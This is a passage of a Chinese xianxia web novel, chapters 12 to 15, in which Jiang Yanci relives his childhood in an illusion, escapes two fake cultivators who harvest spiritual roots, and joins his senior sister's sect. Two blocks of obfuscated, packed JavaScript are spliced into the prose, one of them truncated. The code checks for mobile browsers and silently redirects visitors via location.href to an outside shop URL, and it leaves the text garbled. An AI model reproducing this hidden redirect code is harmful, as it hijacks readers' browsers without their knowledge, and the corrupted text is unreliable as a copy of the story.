江砚辞身形一滞,恍然明白这是什么时候。 记忆中的他是怎么回答的呢? 啊,想起来了,他当时只吐出了一个字:“想。” 村长松了一口气,他早看这孩子有天赋,就怕他自己没志气:“明日,仙门会来我们村选拔有天赋的弟子,所有孩子都会去测试,你瞒着你爹,偷偷去,若成了,我保你去修仙。” “好。” 原来是这个时候么? 四十年前,仙门在凡间大规模遴选的时候—— 也是他遇到师姐的时候。 江砚辞深深吸了 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他们到时,还没有多少人,排在了比较靠前的位置。 即便人不多,也足够热闹,孩子们三三两两凑到一起,叽叽喳喳个没完: “仙人会选到我么?” “不知道诶。” “你平常这么厉害,一定是有天赋的吧,修仙了别忘记我们!” “也不一定哈哈哈。” “……” 旁边的大人也乐呵呵地看着他们。 孩子们对修仙没有什么认知,即便没有天赋也不会遭人嘲笑。 毕竟大部分地区,还是凡人占大多数的,特别是这样偏远得不能再偏的山区。 其实异样在这时就该察觉的。 ——位列天下第一的无量宗,真的会来这么偏远的地区收弟子么? “安静。” 声音不大,但含了灵力响在每个人的耳旁。 长长的队伍瞬间噤声,他们相互对视,眼里闪着光。 第一次见识到灵力的神奇,他们不免兴奋。一个个神采奕奕,脸颊红扑扑的。 村长视线落在被两个少年围在中间的江砚辞。 原来这就是灵力,他有很强烈的预感,江家的孩子会有这个天赋。 仙人可不得了,若是他们村能出一个,那不得祖上冒青烟。 灵根测试正式开始,都是十岁左右的孩子,抑制不了兴奋,一个个摩拳擦掌,又小心翼翼地把手放在测灵石上。 “无。” 大部分人都是这个结果。 前面的人一个一个减少,他在其中算是个子较高的,看得到全局。 前方一个有天赋的弟子都没有,甚至有人怀疑起了测灵的真实性,那两个负责遴选的弟子已是满脸不耐。 “下一个。” 江砚辞站到测灵石面前。 他的两个朋友都没有测出灵根,前一个人走时还对他说“加油”。 “快点,别磨磨唧唧的。” 那人瑟缩了一下,快步走到一边。 江砚辞伸出手,放在测灵石上面。 接下来的场景他还有印象,就在他手放上去的一瞬间,原本与普通石头无异的测灵石倏然发出强烈的光。 光芒太过刺眼,村长用袖子遮住了眼睛。 果然如此。 看两位仙人的反应就知道,他果然极有天赋。 这是他做过最正确的决定。 12. 大比(五) 测灵石光芒大盛,刺得两位仙长也忍不住眯眼,连天空在这光芒的衬托下都显得更加黯淡。 光芒散去,有一瞬寂静,接着便是剧烈的议论声。 任谁都能看出,这孩子的天赋不一般。 有人不可置信:“天啊,这居然是我们村能出现的人,太不可思议了。” 有人摇头长叹:“可惜了这仙长怎么不早点来,这天赋若早几年被发现,这孩子就能早点脱离这里。” “唉,这要是我家孩子就好了。”还有人羡慕非常。 在一片喧嚣中,没人注意到,两位仙长的眼神变得狂热。 “师兄,这可是几千年难得一遇的天灵根。”绿袍修士说道。 “这天赋实在是令人嫉妒,不过,不久之后……”旁边的蓝袍修士想象了一下那个场景,神情变得陶醉。 “喂,你收敛点,别被看出来了。” 另一人“啧”了一声:“天赋再怎么高也是还未入道之人,咱们已经筑基了,怕什么,到嘴的肉还能飞了不成?” “也是。” 这一番话全被暗处的江砚辞听了去。 他装作与身边同伴交谈,实则一直在注意听这边的谈话。 听到这里,他眼眸微微凝滞。 几十年前的记忆早已模糊,如今身在其中,他倒是能回想起其中的许多细节。 比如—— 修为不到筑基的妖物,是怎样将两位仙长打败的。 江砚辞面色沉沉,转瞬之间想了许多。 全部孩子测试完,几家欢喜几家愁。 也不能这么说,因为有天赋的其实只有江砚辞一个。 他被寄予全村的厚望,仙长将他留下,几个朋友走得一步三回头。 修仙几十年,对于凡间的朋友他忘得差不多了,如今能再次看到已是莫大的幸运,或多或少还是有些拘谨。 看到他们离开,他反而松了一口气。 “你叫什么名字?”左边的仙长开口道。 “江砚辞。” 右边蓝袍的仙长点点头:“不错不错,江砚辞,你天赋上佳,若跟着我们修行,日后必成龙凤,今晚和家里人好好道别,我们明天就走。” 江砚辞不卑不亢:“好,仙长还有什么要说的么?” 左边绿袍的佯装思考了一阵,温和地笑道:“明早辰时在门口等我们便可,会有专门的飞舟带你去宗门。” 温和的笑颜看不出任何破绽,他下意识摸向耳边,摸了一手空:“好。” 耳坠才戴了几天,居然已经养成了摸耳坠的习惯。 正好是午时,江砚辞回到家中吃午饭。 一路上大人见了他都是笑眯眯的,调笑他是小仙人了。 江砚辞红着脸打招呼,之后就快步走开。 回到家,做好饭,他方坐到椅子上,面前突然覆下一层阴影。 平常江天华都是等他吃完才慢悠悠地从他的榻上爬出来,今天竟破天荒地与他一同吃饭。 不对劲。 在他的记忆中,这个晚上应该与之前无数个晚上一样才对。 “我听人说了你的事。” 许久没听过他说这么多字,还有些陌生。 江砚辞略微僵硬地抬头。 男人面色褪去了疲惫,少见地严肃认真,长发经过打理,两缕垂至胸前,衣裳穿得整整齐齐,破旧但干净。 简直像变了个人。 “能修仙,很好。”他启唇吐字,“不比担心我,你且放心去吧。” 他之前没说过这种话,也绝对不会说这样的话。 他一直都是自私懒惰,恨不得将他绑在身边,替自己解决所有事情的。 怎么会主动提出让他走? 还为了让他放心,特意将自己收拾好,出来与他一同吃饭。 “你会放我走?怎么可能,连饭都不会做,怎么会放我走。” 这句话出口,他自己都吓了一跳。 这浓浓的责怪与委屈意味是怎么回事。 他一直以为自己放下了过去,再看见江天华也一定能保持冷静,和见了个陌生人无异。 或者更糟糕,他想过自己会生气,会质问,可唯独没有想过自己会是委屈。 难道他现在变成了孩子,心智也跟着回去了么? 以前的他的确会委屈,他从小与父亲相依为命,就算他再不好,那也是他父亲。 “怎么不说话?” 男人带着小心翼翼的话打断了他的思考。 “我不想说话。” “好吧,但是你马上要走了,我有一件事得告诉你,总不能瞒着你一辈子。” 江砚辞没吭声,男人自顾自接着道:“你娘是在生你时去世的,你的出生带走了她的生命,我曾经一度很恨你,非常恨你。” 他盯着他的眼睛,眸中燃烧着滔天的恨意,似乎他手里的筷子下一瞬就会插入他的喉间。 江砚辞没动。 “恨着恨着就不那么恨了,我知道这不是你的错,你是她生命的延续,我看着你这张脸就仿佛看见了她,我不敢面对你了。” “所以你就一直逃避到现在?” 江天华停了一会儿,点头。 “吱呀——” 江砚辞端着碗,打开房门,热烈的日光照在他脸上,让他忍不住眯眼。 “我自己静静。” 说完不等他回答,跨过门槛走出去了。 徒留江天华一人坐在桌前。 又是一阵停滞,他才拿起了筷子,把饭和眼泪一起扒进嘴里。 江砚辞没走远,他就蹲在家门口吃饭。 门前的土路人来人往,一砖一瓦皆与他记忆中的一般无二。 唯独方才发生的事。 现在他的脑子一团浆糊,不能思考,剩下的全都是情绪。 委屈、欣喜、生气……还有许多不可名状的感情,全都混在一起,无法分清。 他说,他和娘亲都是修士,在一次任务中身受重伤,本以为再也醒不过来了,没想到会被村民所救。 他们本身也厌倦了仙门生活,于是在村中隐居,并未提及自己的身份。 修士难孕,在第七年,他娘亲才怀了他,他们二人均是欣喜若狂,对他倾注满满的爱意。 之后…… 不知不觉间,他竟流出了眼泪。 原来他有娘亲,原来他有被爱……不,不,这并不是真实发生的,只不过是幻境。 对,这肯定是幻境。 可为什么……他心里会有一种隐秘的期望。 期望这才是现实,这才是原本应该发生的事。 明明这么残酷。 吃完饭,他就当这件事没有发生,照常洗碗——碗已经被人洗好了,房间也被收拾了,他只用收拾自己那只碗。 江砚辞仿若没看到,该干什么干什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669385|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江天华似乎是想告诉他,他一个人也可以过得很好,完全不用担心。 第二日早晨他起床的时候,江天华已经把自己收拾好,并且……做了饭? 江砚辞合理怀疑饭菜的可食用性。 不过,还别说,卖相还是挺好看的。 抱着警惕心,他小心翼翼地夹了一小块,放进嘴里。 旋即瞪大了眼。 意外地好吃。 符合外表地好吃。 江天华居然会做饭?并且做得还不错。 不过肯定是没他做得好吃。 在他的记忆中,江天华从未做过饭,儿时,他似蹒跚学步,跟着隔壁的婶子做饭,养活家里两人。 十几年来,他厨艺精进,世间少有,他自然不可能比得过他。 但养活自己还是没问题的。 这一刻,他倏然明白过来。 他这意思是让他放心走,他能照顾好自己,不必担心家里。 同时,在这奇妙的氛围中,他也品尝出了一丝道歉的味道? 他是在道歉? 太可笑了。 这十几年他任劳任怨,从六岁起包揽家中大大小小一切事务,从未觉得有哪里不对。 临到走了,居然开始对他感到抱歉了? 江砚辞不接受。 窗外枝丫阴影盖住了江砚辞半张脸,他动了动嘴:“我走了。” 江天华没说话。 江砚辞出了门,桌边的人许久未动,像一尊雕像。 日头西斜,阴影覆盖住他整个人。 * 等了不久,两位声称是无量宗弟子的修士来了。 左边那位手中拿着一只模型飞舟,笑眯眯靠近他:“见过么?” 江砚辞乖乖摇头:“没见过。” “看好了。” 他后退几步,留出一定的空间,微扬眉梢,手往上一抛。 飞舟在空中越变越大,最终变成能容纳五人的小型飞舟。 这个时间正是赶早市的时候,大家也不去逛了,都来为他送行。 他们这辈子也没见过什么仙人,临走了,只是把自己认为必要的东西送给他。 有人送鸡蛋,有人送青菜,更有甚者,给他抓来了两只鸡。 这些都是乡亲们的一片好心,江砚辞没拒绝,全都放进了飞舟里。 绿袍仙人也“善解人意”地任他放,只是那笑容怎么看怎么勉强。 那可是他的飞舟!!他废了好大功夫才弄来的飞舟!!怎么能装这些凡人的东西!!不懂欣赏的臭村民,太可恶了!! 而蓝袍仙人,则是一脸看好戏的表情。 看着看着,就有一个眼刀飞过来,他扭过头,若无其事地吹起了口哨。 可恶,更生气了。 原本坐五人绰绰有余的飞舟,在装了这么多东西后,三人站着有点挤了。 村民对仙术本就好奇,此刻能真正见识到,各个新奇无比,对着飞舟这里看看,那里看看,好奇得不得了。 这极大地满足了绿袍的虚荣心,他挺胸抬头,迎着他们尊敬崇拜的目光,飞舟缓缓起飞。 “哇——” 有人惊叹。 江砚辞一只手向下面挥手和他们告别,另一只手死死抓住飞舟边缘。 就在有人伤感有人兴奋的时候。 “轰!” 远处发出了巨响。 13. 大比(六) 众人寻声望去。 转眉间,周围风云变幻,原本清晨的晴朗天气,变得阴沉沉。 随着巨响而来的,是细密的水珠。细雨连成线,转瞬之间变成瓢泼大雨。 都湿透了,因着方才那一声响,没人把它当作一场普通的降雨。 雨水顺着少年苍白的面庞淌下,黑发纠缠着贴在他脸旁,狂风吹起他湿重的衣摆。 “发生什么了?” “怎么回事?” 这样的声音在人群中此起彼伏。 “有妖气,我去看看怎么回事,你在这里护好他们。”绿袍说罢,一个踮脚跳下飞舟,朝着声响来源的地方奔去。 蓝袍控制着飞舟降落,脚刚一沾地,周围就围了一圈人,迫不及待地想知道发生了什么事。 蓝袍抬手示意大家安静:“此事我师弟已去探查,应当没什么大碍,大家放心,他应当很快就能回来。” 先前仙人的厉害他们见识过了,他们没有怀疑,当即放下心来。 一个时辰过去,不少人直接回家了,还有人给江砚辞和仙人送伞送衣裳。 少年穿上干爽的衣裳,打着油纸伞,忽然之间心下一动。 如果可以,他想救下这些人。 “仙长,您那位师弟怎么还未回来?”村长见天色不早,人没回来,雨也未停,心脏突突地跳。 “不知。”绿袍仙人眉头微蹙,下了个决定,“我去找他。” 他刚一动作,便感到了一股小小的阻力,低头一看,江砚辞正拽着他的衣角。 “我也要去。” 江砚辞清晰地看到他的脸色冷了一瞬,随即重新戴上一副假笑面具:“不行,你没有修为,太危险了。” “仙长有把握打败那妖么?” “当然有,我可是筑基期修士,区区小妖根本不在话下。” “仙长这么自信?你可还未见到那妖的模样。” 江砚辞挑眉,一副不相信的样子。 蓝袍最受不了有人这样看他,当即炸了:“你敢小看我!我跟你说,对仙人尊敬些,我一个手指就能摁死你。” 还真是沉不住气,这样也好。 “既然这么厉害,一定可以保护好我的吧。” 一直未出声的村长见蓝袍仙人实在气得厉害,胸口都在剧烈起伏,忽地呵斥一声:“胡闹!” 惹仙长生气的后果谁也承担不起。 有人制止这小孩,蓝袍面色稍霁,语气和缓了些:“还轮不到小孩去,你就待在这等我回来。” 江砚辞手握了又握:“如果我一定要去呢?” 村长急了,他拽着江砚辞的胳膊,将他拉走:“仙长你快走吧,这孩子我看着。” 蓝袍垂眸最后看了那孩子一眼,颇有些挑衅的意味。 江砚辞用力挣脱了两下,没挣脱开,眼睁睁看着那人远去。 “仙人除妖,你去凑什么热闹?” “仙人那么厉害,他肯定会保护好我的!” 他能说什么呢?难道直白地说这两人是假冒的,他会屠了整个村,最后将他抓去,抽取他的灵根化为己用么? 他们能相信么? “听姨一句劝,在厉害的仙人也会出错,就怕个万一嘛。”吴姨了解了事情的经过,也跟着劝。 等等。 听到这话,江砚辞猛然意识到一直被她忽视的一个问题。 他仔细看了看他们的眼睛,里面含着的,是一些担忧。 对于他们来说,仙人只是一些又厉害又神奇的陌生人罢了,他们知道仙人厉害,却不知道具体多厉害,绿袍仙人尚且生死不明,自然不会让他去冒险。 或许,他该多看看他们。 “你们相信我么?” 江砚辞将对方的计划和盘托出。 刚开始他们是震惊的,脑子一片空白,什么都没有,接着便生出疑惑:“你是怎么知道的?” 他信口胡诌:“偷听到的。” 江砚辞踏上上飞舟的台阶:“我肯定跑不过他们,所以要借助一点工具。” 到底当了几十年无量宗首席弟子,即便当今十五岁的少年身姿不算高,站在飞舟上却显得无比挺拔。 无端令人信服。 不少人心中动容。 “你们回去后藏起来,他们的目标是我,我开着飞舟走了,就算要拿你们威胁我也不会花太多时间在这上面。” 大多数人是信了的,他们跑回村里,把不信的人也抓住拉进了地窖。 飞舟上储存的有备用灵石,将这些灵石作为能源供应,就算是没有灵力的普通人也可驾驶。 启动飞舟,发出的声响必然能被那两人察觉。 这就非常考验技术了。 之前他也驾驶着飞舟几次死里逃生,可以保证能够甩开他们。 果不其然,不出半个时辰,两人就出现在了后面。 他们被气得不轻,不光追赶,还破口大骂:“臭小子,敢抢我们飞舟,等着看我追上去不杀了你!” 绿袍仙人一口银牙差点咬碎,他也想过抓个村民威胁他,可若大个村一个人也没有,很明显他们的计划暴露了。 飞舟的速度他们是知道的,若花费时间抓人,到时候都不一定能追上,还谈何去威胁人。 没办法,他们只能全力追赶。 即便如此也花费了将近半个时辰。 他们身后跟着的,是一只巨大的,在地面上蠕动的水妖。 水妖长着蛇的身体,前端有两只爪子,全身被鳞片覆盖,黑色的鳞片在日光下发出粼粼的光。 十五岁的他被水妖吓坏了,一直以为两位仙人真的被它杀害了。 直到进入无量宗,接到一个关于邪修偷人灵根的任务。 江砚辞眼中泛起冷意,他犹记得见到两人时的情景。 换灵根的血腥场面就直白地放在他面前,他的同门躺在一个阵法上被开膛破肚,血染红了阵法的纹路,发出诡异的光。 而持刀的,正是他幼时以为被杀了的两位仙人。 很难想象他当时的心情,只记得回过神时,三人都死了,而他的剑以及衣袍,都沾满了血。 没有当时的记忆么? 有的,他可以清晰地回忆出当时的细节,只是没了情绪,变成了无声的世界。 身后的喊声渐渐变得无声,耳畔的风声变大。 江砚辞抹了一把脸上的雨水。 加速、加速、再加速。 蓝袍绿袍也只能加速,水妖在地面上快速游动,所过之处留下浓重的水汽。 这妖与他们是一伙的,至少有筑基后期的修为。 因为都是荒无人烟的山地,倒也没吓到人。 不过经过村庄的时候,他们肯定是听到了动静的,还好他提前让他们都藏起来了。 接 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他们没有一丝犹豫,立刻飞上来抓住他。 蓝袍揪住他的后衣领,像拎鸡仔一样把他拎起来,还晃了晃。 “小子,你是怎么察觉我们的目的的?” 他自认为他们的表演天衣无缝,到底是哪露馅了? 江砚辞脸涨得通红,费劲地挤出几个字:“就……不……告诉……你……” “你!”蓝袍一听,当即就要发怒,想把他直接扔水妖嘴里,被绿袍劝下来了。 “师兄,消消气,他死了就什么都问不出了。” “哼,还问什么,管他怎么知道的,直接把他扔下去,再回去把全村人屠了,谁还会知道这件事?” 另一位还真仔细思索了下,最终得出结论:“好像是这么回事。” “但是真的要把全村人都……” 江砚辞挣扎得厉害,两只手用力地扒着他的手,甚至已经抓出了几道血痕。 蓝袍唇角勾出一抹笑:“你不敢?我们原本不就是这么打算的么?” 他忽地凑到江砚辞耳旁:“你不是都知道么?那你说说,我们究竟是原本就有这个打算,还是因为你而做出了这个打算?” 江砚辞瞳孔猛缩。 “看你的反应,似乎不知道?” 江砚辞本就在飞舟边上,随着他的动作,越来越靠边,直至大半个身子都在外面。 高空风大,吹得他身子摇摇晃晃。 快窒息了。 他的正下方,水妖张开嘴虎视眈眈。 不会真的要死在这里了吧? 师姐…… 眼皮越来越重,马上就要阖上,世界越来越小。 在剩下最后一条缝时,忽然有一线纯白的光照亮天幕。 起初是很小的一线光,接着越来越大,直至充满他整个视野。 有一瞬间,耳边的风声、雨声都不见了,仿佛整个世界都只剩下这抹白色。 他与师姐接触得不多,可这一刻,忽然很想落泪。 这是正道魁首,是人人敬仰,还未成为修真界公敌的师姐。 “扑通、扑通。” 他清晰地听到了自己的心跳声。 14. 大比(七) 夜色朦胧,江砚辞坐在草地上。 雨刚停,草地还是湿的。到底还是个普通人,经过一番折腾,毫不意外地发了热。 浑身滚烫,嗓子生疼,视野模糊。 他能感受到自己粗重的喘息。 湿发贴在脸上,沾在脖颈出,痒得难受。 他伸出一只骨节分明的手,把领口往下拉了拉。白皙的脖颈、精致的锁骨,黑黢黢的头发就黏在上面。 黑与白碰撞在一起,造成强烈的冲击。 另一只手将头发理在后面,这才舒服了些。 陈舒朝回来时看到就是这么一副场面。 头发理过去了,手还没松,大片雪白的肌肤就这样露在外面。 少年脸颊绯红,呼吸颤抖。 陈舒朝刚解决完两人一妖,走过来的脚步一顿。 “你很热么?” 什么? 脑子一团浆糊,转得很慢,他缓了好几息才明白过来师姐在说什么。 而这时,她已经走到他近前了。 还未回答,额上忽地触到一抹凉。 是师姐的手。 她的手是凉的,很舒服。 忍不住想贴近一点、再贴近一点。 然后…… 被师姐推开了。 “师……” 方出口一个字,一阵温柔的风吹过,他全身都干了,身体一点点回暖。 “你说什么?” “没什么。”差点忘了,他还没拜入师门,还不能喊师姐。 陈舒朝站在不远处看他,左看看、右看看,忽地开口:“你知道无量宗么?” “知道。”江砚辞组织了一下语言,“方才追我的那两位就声称是无量宗的。” “狗屁无量宗的。”陈舒朝大骂,“听好了,我们无量宗是正经宗门,名正言顺的天下第一宗,虽说时不时会冒出一两个蠢蛋,但绝对没有邪修,这种人就该千刀万剐。” 这个时候的师姐可以说是无量宗的二把手,是不会允许有人败坏宗门名声的。 “你叫什么名字?” “江砚辞。” “好,江砚辞,你非常有天赋,愿意来无量宗修行么?” “我愿意。” 太好了,一切都在顺利进行。 现在,竟然有些不舍得这里只是个幻境了。 抛却人为的,自然幻境的形成是因为其主人极深的执念,这个幻境的主人……目前还未有线索。 前者也不没可能,不过在宗内长老的眼皮子底下应当没人能动手脚,更何况是秘境内。 先走一步看一步吧,目前看来这个幻境里只有他一个人,其他人应该是安全的,可能已经被救出去了,长老们找不到他应该会很着急吧。 “你在想什么?” “没、没什么。” 师姐正御剑带着他,他还在发热,身体烫烫的。 剑的速度飞快,他的周身有一层细密的保护罩,一丝风也飞不进来。 ……虽然有点闷。 师姐离他很近,近到可以闻到她身上的香味。 淡淡的栀子花的味道。 很香。 ……好像个变态。 他之前和师姐生活了那么久也没闻到这个味道—— 那时她身上的味道不是栀子花,而是极淡极淡的血腥味。 御剑速度很快,不久后就看到了无量宗的山头。 无量宗的各个山峰隐在雾中,若隐若现。 江砚辞适时地“哇——”了一声来表达惊叹。 ——他第一次见到无量宗时,确实发出了这种声音。 有一只白鸟与他们同行,师姐伸出一只手,鸟自然而然地停在她手上,用喙蹭了蹭自己的羽毛,然后飞走。 修仙修到一种程度,能达到“天人合一”的境界,于万物生灵而言,有一种天然的亲和力。 他们的话更令人信服的原因之一就是这个。 也因此,修真界特别不能容忍修为高的人走向歪门邪道,若有苗头,当立即掐灭。 可师姐她没有走上歪门邪道,当年的事仍旧迷雾重重。 尽管在这样浓厚迷雾前的他是如此微小不堪,也想做些什么。 “到了。”师姐的声音在他不远处响起。 山门就在近前了,陈舒朝控制着剑落下,收了自己的灵力。 脚结结实实地踏在地上,没了屏障,凉飕飕的风顺着衣领往里钻。 “你天赋太好了,可惜我现在还不能收徒,只能把你让给我师尊了。换上衣裳,我带你去找他。” 江砚辞被丢了一堆衣裳,他手忙脚乱地接过,衣裳包裹住手臂,接触的部分很快暖和起来:“去哪里换?” 啊,忘了这是个没灵力的普通人。 “我来帮你。” “帮、帮我?”江砚辞红着脸问,虽说修真界不太关注男女大防,但这也太、太那个…… 他的幻想也就到这里了,下一瞬,一个响指被打响,整个人瞬间一凉,再低头时,衣裳已经被换好了。 陈舒朝拿手背贴了贴他额头:“还烫着,也不能用灵力给你治,等你拜完师了带你去找医修给你抓点药。” 医术都是互通的,他们也常常用灵力与药剂双管齐下的法子给修士治伤治病。 “好。” 这个时候江砚辞比陈舒朝低了不止两个头,小小的一个悄悄抓住师姐的衣袖。 “我带你去”,从今天开始,他最喜欢的就是这四个字了。 拜师很顺利,林野鹤养孩子是散养的,完全践行了那句“师父领进门,修行看个人”。 无量宗的医修不一般,晚上药喝下去,第二日醒来就退烧了。 脑子也清醒了。 这脑子一清醒,就想起了一些重要的事。 比如,师姐要在这个下午出发去杀魔君,然后,再也没能回来。 江砚辞慌忙拉开帘子,外面的太阳已经升得很高了。 竟然已经午时了……! 他慌忙胡乱套上衣裳,套上鞋袜,三步并作两步跑出房间,在空无一人山上大喊:“师姐!师姐!” 没人回答。 可能没听到,他又跑去师姐院前,一边拍门,一边大喊。 门被拍得砰砰作响,震得旁边的树都跟着摇晃。 没有回应。 没有回应。 没有回应。 走了么? 江砚辞走在小路上,无力地靠在一颗树上。 就算明知道这不是真的,这是幻境,不可能是真的四十年前,也还是会…… “吵死了,大中午的哭什么,喊什么。” 这个声音…… “师姐?” 他往上看去,师姐正好好地躺在树上,嘴里还不羁地叼了根狗尾巴草。 “师姐你没走?” 这孩子连衣裳都没穿齐整就跑出来了,喊魂一样喊她,还泪眼婆娑地问她为什么么走。 烧还没退么? 不应该啊。 “我去哪?我往哪走?” “师姐你不走么?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669387|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我去哪?” 难道说是临时通知的? 不排除这个可能。 江砚辞挂着泪,仰着脸对树上的人道:“师姐,出门在外一定要保护好自己,一定一定要远离魔气。” 看来他不光没退烧,还没睡醒。 陈舒朝愁容满面,摸了摸他额头的温度,喃喃道:“不对啊。” 江砚辞奇异地跟上了她的脑回路:“我现在很清醒,非常清醒。” 陈舒朝伸出三根手指晃了晃:“这是几?” “……三。” “果然有问题吧,正常人会配合这么莫名奇妙的举动么?” “……” 再说会儿他泪都要干了。 “不知道你在哪看的杂书,我和你说,如今这个修真界,没有魔族。” “没有魔族?”江砚辞愣了一下。 “最后一位魔君已经被百年前的正道魁首给杀了。” “百年前的正道魁首是……” “无量宗掌门的大弟子,修真奇才,听说被魔气浸染,自愿囚与惊雷峰下,最终自尽而亡。” 话音刚落,青天白日乍起惊雷,天空迅速阴沉下来。 风雨欲来。 江砚辞被惊出一身冷汗,她说的人,不正是她自己么? 不,不完全是,师姐才没有死。 不,不对,他声音颤抖地问:“那个人,叫什么?” “不知道,”她声音很轻,“她的名字是禁忌,没人敢提。” “现在是什么年份?”他忽地想到一个可能。 “天历三一二七年,怎么了?” “没什么。” 三一二七,三一二七。 原来如此,这个幻境不是让他回到了过去,而是未来。 可—— 说不通,什么都说不通。 到底是怎么回事。 “你还好么,你怎么了?” 师姐的声音忽地变得很遥远,她的面目变得扭曲、狰狞,周身冒出一股股魔气。 他确信那是魔气。 师姐的手变黑变长,长出尖尖的指甲。 这样的手握住了他的肩膀,他看到指甲不断变长,最终戳破他的喉咙。 疼痛到来的一瞬间,这个世界的声音倏然变大,雨点砸到了他的脸上,雷声在云中酝酿。 一切重新变得真实,师姐还是师姐。 “你怎么了,和看到了很吓人的东西一样。” 她的手还在他肩膀上,但这是一只素白的,正常的手。 “没什么。” 刚才的对话是真的,但是她眼中的世界不知道为什么被扭曲了。 这让他确信了,这就是幻境。 ……不知道该不该松一口气。 雨下大了,但有陈舒朝在,他们不会被淋湿。 她将他送回去,然后回了自己房间。 临走时留下了一句话:“今日先休息,修炼从明日开始。” * 毕竟修炼过一遍了,现在再装作从头来过,即便他竭力压制,修炼的速度还是比他天赋本身展现出来的要快些。 但毕竟嘛,这是修真界,修真界之大,无奇不有,这种事顶多被称赞两句,大家都见怪不怪了。 今日修炼完毕,两人从蒲团上站起。 江砚辞忽地恍了一下神,陈舒朝眼疾手快扶了他一把。 “多谢师姐,我没事。” 陈舒朝调笑道:“怎么回事,身子这么较弱。” 江砚辞摇摇头。 15. 大比(八) 修炼、睡觉、吃饭、练剑。 一切都有条不紊地进行着,江砚辞却一日比一日着急。 刚开始他是不急的,可他发现,随着他在幻境里待的日子变多,他关于现实的记忆也在渐渐消退。 他越来越觉得这是一个真实的世界,同时也越来越发现这个世界的荒诞。 他仿佛被劈成两半,一半的他沉溺于这个世界,一半的他清晰地知道这个世界是假的。 不行,得快点想出办法。 江砚辞穿过密林,来到一座山前。 破解幻境还有一个办法。 ——找到幻境的矛盾点。 师姐说百年前入魔的人是大师姐,被关在惊雷峰自尽而亡的是大师姐。 他要去看看,惊雷峰里的人究竟死了没有。 如果没死,里面的人又究竟是谁。 矗立在他面前的,正是惊雷峰。 今日休沐,他决定来这里一探究竟。 这里与他之前见到的一模一样,雷电交加,凭他现在的修为,进去必死无疑。 可是当他踏出一步,雷电并没有劈来,他隐隐约约感觉到,有一丝温暖的灵力从他耳旁拂过,钻进他的体内,形成一面屏障躲过了雷电的试探。 于是,他踏出下一步。 气温越来越低,终于安全地到达山洞前,心脏突突地跳。 只是与再次见到师姐那天有所不同,现在怀着的,是激动、期待与害怕。 要进去了,接近真相了。 江砚辞口中默念,微垂着眸,走进去了。 视线一黑再一亮,他抬眸,睫毛止不住地颤抖。 视线内什么也没有,与他第一次见到的一样,寒冰桌,寒冰榻,除此之外,再无其他。 这条路就这么断了么? 江砚辞沉思着,忽地觉得背后一凉,有一股阴冷的气息直往背后窜,他一扭头,又什么都没有。 奇怪。 不,这种幻境里发生什么都不奇怪的。 他一缩脖子,走出了山洞。 而他刚走不久,身后的山洞口,出现了一个人影。 * 失忆的情况越来越严重了,为了防止自己彻底迷失在这里,他开始将自己目前所能回想起来的全记在纸上。 「我叫江砚辞,这里是个幻境,与现实相差数百年。 在现实中,我只有一个师姐,叫陈舒朝,如今还被困在惊雷峰中。」 他能回想起来的,也只有这么一点了。 江砚辞将纸整整齐齐叠好,放在枕头下面。 然后穿衣洗漱,起床继续修炼。 完全忘记的那天来得很快。 江砚辞坐在榻边,手里拿着那张纸,紧锁眉头看了半晌。 不知所云…… 他随手将纸扔掉。 师姐怎么可能是假的呢?师姐怎么可能被关在惊雷峰呢? 百年前震惊修真界的天骄,他大师姐怎么可能不存在呢? 骗人也要编个好一点的故事吧。 江砚辞没去追究是谁的恶作剧,因为马上要召开宗门大会了,辰时所有长老及其亲传弟子都要到场。 他御剑到达演武场,那里已经有很多人了,宗主的威严还是在的,他坐在上首,所有人都噤声,不敢吵闹。 江砚辞过去站在师姐旁边、宗主的后面。 等所有人到齐,宗主开始讲话了。 “近日,我在后山惊雷峰中发现魔气。” 听到“魔气”二字,所有人都神色一凛。 没人敢忘记百年前由魔气带来的灾难,这里有不少人都实实在在经历过那场灾难。 宗主看他们神色都郑重起来,继续说道:“即便是修士,也不能死而复生,必不可能是那位。所以接下来我们重点怀疑的对象就是,最有可能掌握魔气的人。” “而且这个人还必须很强,因为在这几天中,已经有数十位外面弟子遇害了。我检查过现场,什么都没查出来。” 一位长老骇然道:“连宗主都没办法……” 宗主沉痛地点头:“我去通知其他宗门,让他们准备好应对魔族卷土重来的可能。拜托你们,分散下去保护好弟子们的安全,同时仔细搜查魔气来源。” “宗主言重了。” 散会后,师姐弟两个走在回去的路上,江砚辞悄悄对陈舒朝说:“师姐,你不觉得不对劲么?” 陈舒朝挑眉:“你发现什么了?” “宗主说携带魔气的人很强,据他描述,这人至少强到可以躲避他的追踪。” 江砚辞边说边组织语言:“我们宗有开山之祖留下的护山大阵,不管多强的隐匿术,只要穿过大阵,宗主肯定是能知道的,也就是说,凶手可能是我们内部的人。” “再结合上一个条件,能成为凶手的人,很大可能在刚才开会的人里。” “哦?”陈舒朝问他,“照你这么说,我也可能是凶手,怎么还不快跑,小心我下一个就杀你。” 江砚辞斜看她一眼:“师姐你认真点,你怎么可能是凶手。” “我怎么不可能?”陈舒朝反问。 江砚辞卡壳了一下:“就、就是不可能,我相信你不是。” “你也太相信我了,说不定我真的是呢。” “师姐!” “嗯嗯,也或许是宗主在自导自演。” “……” 她怎么一点儿也不重视这个问题。 江砚辞也在无知无觉中放松了许多,他这个修为,也帮不到什么忙。 